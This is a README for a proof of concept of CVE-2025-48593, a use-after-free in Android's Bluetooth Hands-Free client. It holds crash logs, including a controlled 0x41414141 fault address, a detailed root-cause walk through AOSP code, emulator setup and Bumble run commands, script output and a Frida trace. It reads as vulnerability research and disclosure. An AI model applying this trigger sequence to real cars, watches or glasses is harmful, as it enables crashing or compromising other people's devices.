
Proof-of-concept for CVE-2025-48593
针对 CVE-2025-48593 的概念验证,基于对补丁的分析。
你无需为此担心。据我所知,手机不会受到 CVE-2025-48593 的影响。该问题仅影响支持充当蓝牙耳机/扬声器的 Android 设备,例如某些智能手表、智能眼镜和汽车。此外,攻击者必须先让受害者与其配对,之后才能访问耳机服务。只要你不接受智能手表/眼镜/汽车上的配对请求,就不会有事。
这个概念验证没有任何实际用途:它只会让 Android Automotive 模拟器崩溃,报错 fault addr 0x4141414141414141。
你可以在我博客上阅读我的分析文章。
在 Android Studio 中针对 Android Automotive 14 模拟器运行时,我得到:```
Build fingerprint: 'google/sdk_gcar_arm64/emulator_car64_arm64:14/UAA1.250512.001/13479943:userdebug/dev-keys' Revision: '0' ABI: 'arm64' Timestamp: 2025-12-01 17:28:17.644347763-0500 Process uptime: 0s Cmdline: com.google.android.bluetooth pid: 6386, tid: 6424, name: bt_main_thread >>> com.google.android.bluetooth <<< uid: 1001002 tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE) pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY) signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x4141414141414141 x0 4141414141414141 x1 b4000073106a14a0 x2 0000000000000103 x3 414141414141413e x4 b4000073106a15a3 x5 4141414141414241 x6 0000000000000100 x7 000000000000010f x8 0000000000000000 x9 4141414141414141 x10 0000000000000002 x11 00000070c20c8558 x12 0000000000000018 x13 00000000ffffffbf x14 0000000000000003 x15 0000000000000001 x16 00000070c253f470 x17 00000073f6ee3a40 x18 00000070bb2c6060 x19 00000070c258c0c0 x20 b4000073106a14a3 x21 0000000000000100 x22 00000070bc384000 x23 000000004141413e x24 00000070bc384000 x25 00000070bc384000 x26 00000070bc383ff8 x27 00000000000fc000 x28 00000000000fe000 x29 00000070bc383470 lr 00000070c20c3d58 sp 00000070bc383460 pc 00000073f6ee3b38 pst 00000000a0001000
15 total frames backtrace: #00 pc 000000000005fb38 /apex/com.android.runtime/lib64/bionic/libc.so (__memcpy_aarch64_simd+248) (BuildId: 8bd98d931a32d13659267d7d53286e73) #01 pc 00000000006aad54 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_copy_raw_data(tCONN_CB*, bool)+344) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #02 pc 00000000006aa0c0 /apex/com.android.btservices/lib64/libbluetooth_jni.so (process_service_search_attr_rsp(tCONN_CB*, unsigned char*, unsigned char*)+624) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #03 pc 00000000006a9760 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_data_ind(unsigned short, BT_HDR*)+212) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #04 pc 00000000007387b4 /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_csm_execute(t_l2c_ccb*, tL2CEVT, void*)+9412) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #05 pc 00000000009d6ce8 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*)+196) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #06 pc 00000000009d6260 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::MessageLoop::RunTask(base::PendingTask*)+352) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #07 pc 00000000009d6574 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::MessageLoop::DoWork()+452) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #08 pc 00000000009d8964 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::MessagePumpDefault::Run(base::MessagePump::Delegate*)+100) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #09 pc 00000000009e4a34 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::RunLoop::Run()+64) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #10 pc 000000000069aaa4 /apex/com.android.btservices/lib64/libbluetooth_jni.so (bluetooth::common::MessageLoopThread::Run(std::__1::promise)+336) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #11 pc 000000000069a584 /apex/com.android.btservices/lib64/libbluetooth_jni.so (bluetooth::common::MessageLoopThread::RunThread(bluetooth::common::MessageLoopThread*, std::__1::promise)+48) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #12 pc 000000000069b090 /apex/com.android.btservices/lib64/libbluetooth_jni.so (void* std::__1::__thread_proxy<std::__1::tuple<std::__1::unique_ptr<std::__1::__thread_struct, std::__1::default_deletestd::__1::__thread_struct >, void ()(bluetooth::common::MessageLoopThread, std::__1::promise), bluetooth::common::MessageLoopThread*, std::__1::promise > >(void*)+84) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #13 pc 00000000000cb6a8 /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+208) (BuildId: 8bd98d931a32d13659267d7d53286e73) #14 pc 000000000006821c /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 8bd98d931a32d13659267d7d53286e73)
## 更多结果
这些来自我的[原始概念验证](https://github.com/zhuowei/blueshrimp/tree/first-poc),当时我还没想明白如何重新分配缓冲区:
在强制让 Android 15 模拟器充当蓝牙音箱后,运行此代码会产生空指针解引用:```
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'google/sdk_gphone64_arm64/emu64a:15/AE3A.240806.043/12960925:userdebug/dev-keys'
Revision: '0'
ABI: 'arm64'
Timestamp: 2025-11-13 22:03:35.264596895-0500
Process uptime: 0s
Cmdline: com.google.android.bluetooth
pid: 5549, tid: 5589, name: bt_main_thread >>> com.google.android.bluetooth <<<
uid: 1002
tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY)
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x2a20010000000000
x0 00000074d49ccf5a x1 b4000076cb2f4f80 x2 0000000000000035 x3 000000752fd5403c
x4 b4000075cb32c6f9 x5 b40000764b322462 x6 0000000000000035 x7 b4000076db2ef159
x8 0007ac63ecbcb3da x9 0000000000000002 x10 b40000764b322460 x11 00000074d476c3a4
x12 000000000000000c x13 000000007fffffff x14 0000000000000001 x15 000006a9e9459ce0
x16 00000074d4974360 x17 00000077fcd25700 x18 00000074d0aa8060 x19 00000074d49ccf5a
x20 00000074d3e9d98b x21 2a20010000000000 x22 00000074d3e28d23 x23 00000074d414ae8c
x24 000000752fd54a80 x25 0000000000003002 x26 b4000076cb2f4f80 x27 00000074d3e9d92c
x28 000000752fd541f0 x29 000000752fd53fd0
lr 00000074d476702c sp 000000752fd53940 pc 00000074d476ab88 pst 0000000060001000
14 total frames
backtrace:
#00 pc 0000000000969b88 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdpu_log_attribute_metrics(RawAddress const&, tSDP_DISCOVERY_DB*)+284) (BuildId: 6f08819253185bc44c9fec07ed93c598)
#01 pc 0000000000966028 /apex/com.android.btservices/lib64/libbluetooth_jni.so (process_service_search_attr_rsp(tCONN_CB*, unsigned char*, unsigned char*)+1104) (BuildId: 6f08819253185bc44c9fec07ed93c598)
#02 pc 0000000000965884 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_data_ind(unsigned short, BT_HDR*)+296) (BuildId: 6f08819253185bc44c9fec07ed93c598)
#03 pc 00000000009f45cc /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_csm_execute(t_l2c_ccb*, tL2CEVT, void*)+12968) (BuildId: 6f08819253185bc44c9fec07ed93c598)
当 malloc_debug 设置为 fill on free 时,我得到:```
Build fingerprint: 'google/sdk_gphone64_arm64/emu64a:15/AE3A.240806.043/12960925:userdebug/dev-keys' Revision: '0' ABI: 'arm64' Timestamp: 2025-11-13 22:44:39.509419570-0500 Process uptime: 0s Cmdline: com.google.android.bluetooth pid: 7391, tid: 7422, name: bt_main_thread >>> com.google.android.bluetooth <<< uid: 1002 tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE) pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY) signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0xb4000076954f3000 x0 b4000076954f3002 x1 b4000076954e48a8 x2 000000000000ebeb x3 000000764031dd58 x4 0000000000000004 x5 68746f6f7465756c x6 68746f6f7465756c x7 b4000076f54d5ad9 x8 b4000076954f2fff x9 000000000000d78b x10 0000000000000009 x11 0000000000000009 x12 000000000000d78b x13 0000000000000008 x14 0000000000000004 x15 000006b7ae6ad944 x16 0000000000000001 x17 000000794c270af0 x18 0000007578ca8070 x19 000000757e7cff58 x20 0000000000000000 x21 0000000000000000 x22 b4000076954c9950 x23 0000000000000043 x24 000000764031ea80 x25 b4000076954c9965 x26 b4000076954c9968 x27 000000764031ea80 x28 000000764031df70 x29 000000764031ddb0 lr 000000757e569d30 sp 000000764031dd50 pc 000000757e56ec08 pst 0000000080001000
17 total frames backtrace: #00 pc 000000000096ac08 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdpu_build_attrib_seq(unsigned char*, unsigned short*, unsigned short)+112) (BuildId: 6f08819253185bc44c9fec07ed93c598) #01 pc 0000000000965d2c /apex/com.android.btservices/lib64/libbluetooth_jni.so (process_service_search_attr_rsp(tCONN_CB*, unsigned char*, unsigned char*)+340) (BuildId: 6f08819253185bc44c9fec07ed93c598) #02 pc 0000000000965494 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_config_cfm(unsigned short, unsigned short, tL2CAP_CFG_INFO*)+248) (BuildId: 6f08819253185bc44c9fec07ed93c598) #03 pc 00000000009f7364 /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_csm_indicate_connection_open(t_l2c_ccb*)+220) (BuildId: 6f08819253185bc44c9fec07ed93c598) #04 pc 00000000009f346c /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_csm_execute(t_l2c_ccb*, tL2CEVT, void*)+8520) (BuildId: 6f08819253185bc44c9fec07ed93c598) #05 pc 00000000009fe380 /apex/com.android.btservices/lib64/libbluetooth_jni.so (process_l2cap_cmd(t_l2c_linkcb*, unsigned char*, unsigned short)+376) (BuildId: 6f08819253185bc44c9fec07ed93c598) #06 pc 00000000009fdf64 /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_rcv_acl_data(BT_HDR*)+624) (BuildId: 6f08819253185bc44c9fec07ed93c598)
我还没有在物理设备上测试过。
## 我对正在发生的事情的理解
蓝牙耳机使用 [Handsfree Profile](https://github.com/zhuowei/blueshrimp/blob/HEAD/%3Chttps:/en.wikipedia.org/wiki/List_of_Bluetooth_profiles#Hands-Free_Profile_(HFP)>)。
Handsfree Profile 很特殊:与大多数蓝牙服务不同,大多数蓝牙服务中一方作为客户端,另一方作为服务器,而耳机和连接设备(例如手机)都需要运行蓝牙服务器。
手机连接到耳机的 Handsfree 服务(0x111e)后,耳机会回连到手机的 Handsfree Audio Gateway 服务(0x111f)。
当手机与耳机的 Handsfree 服务建立 RFCOMM 连接时,在耳机的 hf_client 代码中:
- [bta_hf_client_allocate_handle](https://cs.android.com/android/platform/superproject/main/+/main:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=556;drc=875c5971d0201d3c67cc166ad9ab8b2b4a7cab7f) 从池中分配一个 `tBTA_HF_CLIENT_CB` 句柄
- [bta_hf_client_do_disc](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=382;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) 分配一个 `tSDP_DISCOVERY_DB`,将其存储在 `client_cb->p_disc_db` 中,并启动 SDP 发现
- [SDP_ServiceSearchAttributeRequest2](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_api.cc;l=205;drc=138659ad3ff2961010b9cacd36fceb36ba73dcce) 将 `tSDP_DISCOVERY_DB` 存储到 `tCONN_CB` 的 `p_ccb->p_db` 中,然后连接到手机的 SDP 服务
- 现在 `tSDP_DISCOVERY_DB` 同时存储在 hf_client 的 `client_cb->p_disc_db` 句柄和 SDP 层的 `p_ccb->p_db` 中
当手机的 RFCOMM 连接关闭时:
- [bta_hf_client_mgmt_cback](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_rfc.cc;l=143;drc=86d90eee9dd37eccdd19449b9d72b883df060f9b) 发出一个 `BTA_HF_CLIENT_RFC_CLOSE_EVT` 事件
- [bta_hf_client_st_opening 状态表](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=157;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) 调用 [bta_hf_client_rfc_close](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_act.cc;l=278;drc=031a4c3b0a00602b7bbd08ffd8b4d02fdccb5989) 的处理函数,并将状态机重置为 `BTA_HF_CLIENT_INIT_ST`
- [bta_hf_client_sm_execute](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=728;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) 观察到状态转换,将 `tBTA_HF_CLIENT_CB` 句柄释放回池中
- 然而,在补丁之前,SDP 连接不会被取消,仍在等待响应
- 此时,有一个 `tBTA_HF_CLIENT_CB` 被返回回未分配池中,`client_cb->p_disc_db` 仍被设置,并且还有一个仍然活跃的 SDP 发现
当手机以错误响应 SDP 发现时:
- [bta_hf_client_sdp_cback](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=85;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) 发出一个 `BTA_HF_CLIENT_DISC_INT_RES_EVT` 事件
- [bta_hf_client_st_opening 状态表](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=164;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) 调用 [bta_hf_client_disc_int_res](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_act.cc;l=319;drc=031a4c3b0a00602b7bbd08ffd8b4d02fdccb5989) 的处理函数
- [bta_hf_client_free_db](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=413;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) 释放 `client_cb->p_disc_db`
- 因此现在 `tSDP_DISCOVERY_DB` 已被释放,`client_cb->p_disc_db` 为空,SDP 层不再有指向该发现数据库的 `p_ccb->p_db`。
然而,如果手机在第一次 SDP 发现返回之前再次打开 RFCOMM:
- 我们重新分配一个句柄(可能是之前释放回池中的同一个句柄),并再次调用发现。
- 现在 `client_cb->p_disc_db` 指向一个新的 `tSDP_DISCOVERY_DB`,SDP 层持有两个 `tSDP_DISCOVERY_DB`:一个 `p_ccb->p_db` 保存来自第一次连接的旧数据库,另一个 `p_ccb->p_db` 保存来自第二次连接的新数据库
现在,手机以错误响应第一次 SDP 发现:
- SDP 层关闭来自第一次连接的 `p_ccb`
- [bta_hf_client_free_db](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=413;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) 释放 `client_cb->p_disc_db`,即 _第二次_ 连接的数据库
- 现在 hf_client 的 `client_cb->p_disc_db` 已被释放并设置为空,SDP 中第一次连接的 `p_ccb` 已消失
- 但第二次连接的 `p_ccb` 仍然活跃,因此第二次 SDP 发现请求的 `p_ccb->p_db` 指向一个已释放的 `tSDP_DISCOVERY_DB`
最后,手机以实际响应回答第二次 SDP 发现:
- SDP 层在 [sdp_data_ind](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_main.cc;l=234;drc=0e45ce1dc53e611da84344e7c5a11108ad7dba46) 中处理传入数据,并分发给 sdp_disc_server_rsp
- [process_service_search_attr_rsp](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_discovery.cc;l=683;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) 开始从 `p_ccb->p_db` 读取
- 由于 `p_db` 已被第一次 SDP 发现的错误响应中的 `bta_hf_client_free_db` 释放,第二次 SDP 响应会导致释放后使用(use-after-free)。
我不明白的地方:
- Bionic 支持 [malloc_debug](https://android.googlesource.com/platform/bionic/+/master/libc/malloc_debug/README.md):设置 `"LIBC_DEBUG_MALLOC_OPTIONS=fill\ verbose"` 会在释放时用 `0xef` 填充内存。为什么我在崩溃日志中看不到 `0xef`?
## 运行
创建一个 Android Studio 模拟器,使用 Android Automotive 14、API 34-ext9、"Android Automotive with Google APIs arm64-v8a System Image"、版本 5——这开箱即用地启用了 Headset Client。
或者,让非 Automotive 的 Android 模拟器模拟蓝牙耳机:
在 Android Studio 中启动一个 Android 15 的本地 Android 模拟器。(我使用的是 Android 15 的 Android Emulator,"Google APIs ARM 64 v8a System Image",版本 9)```
adb root
adb shell
setprop bluetooth.profile.hfp.hf.enabled true
# optionally:
# setprop wrap.com.google.android.bluetooth "LIBC_DEBUG_MALLOC_OPTIONS=fill\ verbose"
am force-stop com.google.android.bluetooth
然后``` python3 -m venv env . env/bin/activate pip install bumble bumble-pair --mode classic device.json android-netsim DA:4C:10:DE:17:00
python3 blueshrimp.py
python3 blueshrimp.py
如果模拟器存在漏洞(例如 Android 15 API 35 "Google APIs ARM 64 v8a System Image" revision 9),你会看到:```
(env) zhuowei-laptop:blueshrimp zhuowei$ python3 blueshrimp.py
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
I0000 00:00:1763097284.153459 24000650 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
I0000 00:00:1763097284.158812 24000650 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
<bound method Server.on_sdp_service_search_attribute_request of <bumble.sdp.Server object at 0x1025ae3c0>>
open dlc!!!!!!!
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
service_search_pattern: SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
maximum_attribute_byte_count: 1008
attribute_id_list: SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
continuation_state: 00
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
service_search_pattern: SEQUENCE([UUID(00001106-0000-1000-3500-1C0000110600)])
maximum_attribute_byte_count: 1008
attribute_id_list: SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
continuation_state: 00
(env) zhuowei-laptop:blueshrimp zhuowei$
然后你会在 logcat 中看到崩溃。
或者,使用 LIBC_DEBUG_MALLOC_OPTIONS:```
(env) zhuowei-laptop:blueshrimp zhuowei$ python3 blueshrimp.py
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
I0000 00:00:1763097125.539691 23998204 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
I0000 00:00:1763097125.546204 23998204 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
<bound method Server.on_sdp_service_search_attribute_request of <bumble.sdp.Server object at 0x104bc23c0>>
open dlc!!!!!!!
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
service_search_pattern: SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
maximum_attribute_byte_count: 1008
attribute_id_list: SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
continuation_state: 00
Traceback (most recent call last):
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 91, in
asyncio.run(main())
~~~~~~~~~~~^^^^^^^^
File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 195, in run
return runner.run(main)
~~~~~~~~~~^^^^^^
File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 118, in run
return self._loop.run_until_complete(task)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^
File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/base_events.py", line 725, in run_until_complete
return future.result()
~~~~~~~~~~~~~^^
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 87, in main
requests[1])
~~~~~~~~^^^
IndexError: list index out of range
(env) zhuowei-laptop:blueshrimp zhuowei$ python3 blueshrimp.py
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
I0000 00:00:1763097146.578122 23998494 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
I0000 00:00:1763097146.584279 23998494 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
<bound method Server.on_sdp_service_search_attribute_request of <bumble.sdp.Server object at 0x104f4e3c0>>
open dlc!!!!!!!
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
service_search_pattern: SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
maximum_attribute_byte_count: 1008
attribute_id_list: SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
continuation_state: 00
Traceback (most recent call last):
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 91, in
asyncio.run(main())
~~~~~~~~~~~^^^^^^^^
File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 195, in run
return runner.run(main)
~~~~~~~~~~^^^^^^
File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 118, in run
return self._loop.run_until_complete(task)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^
File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/base_events.py", line 725, in run_until_complete
return future.result()
~~~~~~~~~~~~~^^
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 76, in main
await channel.disconnect()
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/rfcomm.py", line 645, in disconnect
await self.disconnection_result
asyncio.exceptions.CancelledError
如果模拟器不易受攻击(例如 Android 16 API 36.1 "Google APIs ARM 64 v8a System Image" 修订版 3)```
(env) zhuowei-laptop:blueshrimp zhuowei$ python3 blueshrimp.py
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
I0000 00:00:1763092971.476083 23945806 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
I0000 00:00:1763092971.486513 23945806 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
<bound method Server.on_sdp_service_search_attribute_request of <bumble.sdp.Server object at 0x10697e3c0>>
open dlc!!!!!!!
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
service_search_pattern: SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
maximum_attribute_byte_count: 1008
attribute_id_list: SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
continuation_state: 00
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
service_search_pattern: SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
maximum_attribute_byte_count: 1008
attribute_id_list: SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
continuation_state: 00
Traceback (most recent call last):
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 91, in <module>
asyncio.run(main())
~~~~~~~~~~~^^^^^^^^
File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 195, in run
return runner.run(main)
~~~~~~~~~~^^^^^^
File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 118, in run
return self._loop.run_until_complete(task)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^
File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/base_events.py", line 725, in run_until_complete
return future.result()
~~~~~~~~~~~~~^^
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 86, in main
device.sdp_server.orig_on_sdp_service_search_attribute_request(
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^
requests[1])
^^^^^^^^^^^^
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/sdp.py", line 1330, in on_sdp_service_search_attribute_request
self.send_response(
~~~~~~~~~~~~~~~~~~^
SDP_ServiceSearchAttributeResponse(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
...<4 lines>...
)
^
)
^
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/sdp.py", line 1063, in send_response
self.channel.send_pdu(response)
~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^
File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/l2cap.py", line 772, in send_pdu
raise InvalidStateError('channel not open')
bumble.core.InvalidStateError: channel not open
(env) zhuowei-laptop:blueshrimp zhuowei$
I'm using a TP-Link UB400 v2.6 (RTL8761BU) with Bumble on macOS.
I originally tried the ASUS USB-BT500 v2 adapter (RTL8761CU) and found it doesn't work with Bumble on macOS. When Bumble tries to establish an L2CAP connection, the target device receives the connection request packet and sends a response, but the USB-BT500 v2 doesn't receive the response at all, and the connection fails.
(The ASUS USB-BT500 v2 works fine on Linux with Bumble.)
This repo also contains a dumpbt.js Frida script for tracing the Bluetooth process in the emulator:```
sym_bta_hf_client_allocate_handle called
bta_hf_client_find_cb_by_handle called 0x1
bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0x0
bta_hf_client_find_cb_by_handle called 0x1
bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0x0
bta_hf_client_do_disc called
bta_hf_client_find_cb_by_handle called 0x1
bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f73a0
sdpu_find_ccb_by_cid called 0x48
sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0
sdpu_find_ccb_by_cid called 0x48
sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0
sdpu_find_ccb_by_cid called 0x48
sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0
bta_hf_client_find_cb_by_handle called 0x1
bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f73a0
sym_bta_hf_client_allocate_handle called
bta_hf_client_find_cb_by_handle called 0x1
bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0x0
bta_hf_client_find_cb_by_handle called 0x1
bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0x0
bta_hf_client_do_disc called
bta_hf_client_find_cb_by_handle called 0x1
bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f6190
sdpu_find_ccb_by_cid called 0x48
sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0
sdpu_find_ccb_by_cid called 0x48
sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0
bta_hf_client_find_cb_by_handle called 0x1
bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f6190
bta_hf_client_free_db called
bta_hf_client_find_cb_by_handle called 0x1
bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f6190
sdpu_find_ccb_by_cid called 0x49
sdpu_find_ccb_by_cid result 0x74d95d2f58 p_db 0xb4000076cb2f6190
sdpu_find_ccb_by_cid called 0x49
sdpu_find_ccb_by_cid result 0x74d95d2f58 p_db 0xb4000076cb2f6190
sdpu_find_ccb_by_cid called 0x49
sdpu_find_ccb_by_cid result 0x74d95d2f58 p_db 0xb4000076cb2f6190
sdpu_find_ccb_by_cid called 0x49
sdpu_find_ccb_by_cid result 0x74d95d2f58 p_db 0xb4000076cb2f6190
